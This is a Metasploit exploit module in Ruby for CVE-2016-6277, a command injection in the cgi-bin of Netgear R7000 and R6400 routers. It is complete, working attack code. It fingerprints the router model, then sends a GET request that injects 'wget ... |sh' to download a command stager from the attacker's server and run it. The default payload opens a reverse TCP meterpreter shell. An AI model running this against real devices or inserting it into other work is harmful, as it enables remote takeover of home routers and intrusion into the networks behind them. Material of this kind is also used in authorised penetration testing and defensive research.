Netgear R7000 / R6400 cgi-bin Command Injection

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => "Netgear R7000 and R6400 cgi-bin Command Injection",  
'Description' => %q{  
This module exploits an arbitrary command injection vulnerability in  
Netgear R7000 and R6400 router firmware version 1.0.7.2_1.1.93 and possibly earlier.  
},  
'License' => MSF_LICENSE,  
'Platform' => 'linux',  
'Author' => ['thecarterb', 'Acew0rm'],  
'DefaultTarget' => 0,  
'Privileged' => true,  
'Arch' => ARCH_ARMLE,  
'Targets' => [  
[ 'Automatic Target', { } ]  
],  
'References' =>  
[  
[ 'EDB', '40889'],  
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=305'],  
[ 'URL', 'https://www.kb.cert.org/vuls/id/582384'],  
[ 'URL', 'http://kb.netgear.com/000036386/CVE-2016-582384'],  
[ 'CVE', '2016-6277']  
],  
'DisclosureDate' => 'Dec 06 2016',  
'DefaultOptions' =>  
{  
'PAYLOAD' => 'linux/armle/mettle_reverse_tcp'  
}  
))  
  
register_options(  
[  
Opt::RPORT(80)  
], self.class)  
  
deregister_options('URIPATH')  
end  
  
def scrape(text, start_trig, end_trig)  
text[/#{start_trig}(.*?)#{end_trig}/m, 1]  
end  
  
# Requests the login page which discloses the hardware, if it's an R7000 or R6400, return Detected  
def check  
res = send_request_cgi({'uri'=>'/'})  
if res.nil?  
fail_with(Failure::Unreachable, 'Connection timed out.')  
end  
# Checks for the `WWW-Authenticate` header in the response  
if res.headers["WWW-Authenticate"]  
data = res.to_s  
marker_one = "Basic realm=\"NETGEAR "  
marker_two = "\""  
model = scrape(data, marker_one, marker_two)  
vprint_status("Router is a NETGEAR router (#{model})")  
if model == 'R7000' || model == 'R6400'  
print_good("Router may be vulnerable (NETGEAR #{model})")  
return CheckCode::Detected  
else  
return CheckCode::Safe  
end  
else  
print_error('Router is not a NETGEAR router')  
return CheckCode::Safe  
end  
end  
  
def exploit  
return if check == CheckCode::Safe  
  
@cmdstager = generate_cmdstager(flavor: :wget, 'Path' => '/').join(';')  
  
send_request_cgi(  
'method' => 'GET',  
'uri' => "/cgi-bin/;wget$IFS-O-$IFS'#{srvhost_addr}:#{srvport}'|sh"  
)  
end  
  
# Return CmdStager on first request, payload on second  
def on_request_uri(cli, request)  
if @cmdstager  
send_response(cli, @cmdstager)  
@cmdstager = nil  
else  
super  
end  
end  
  
end  
`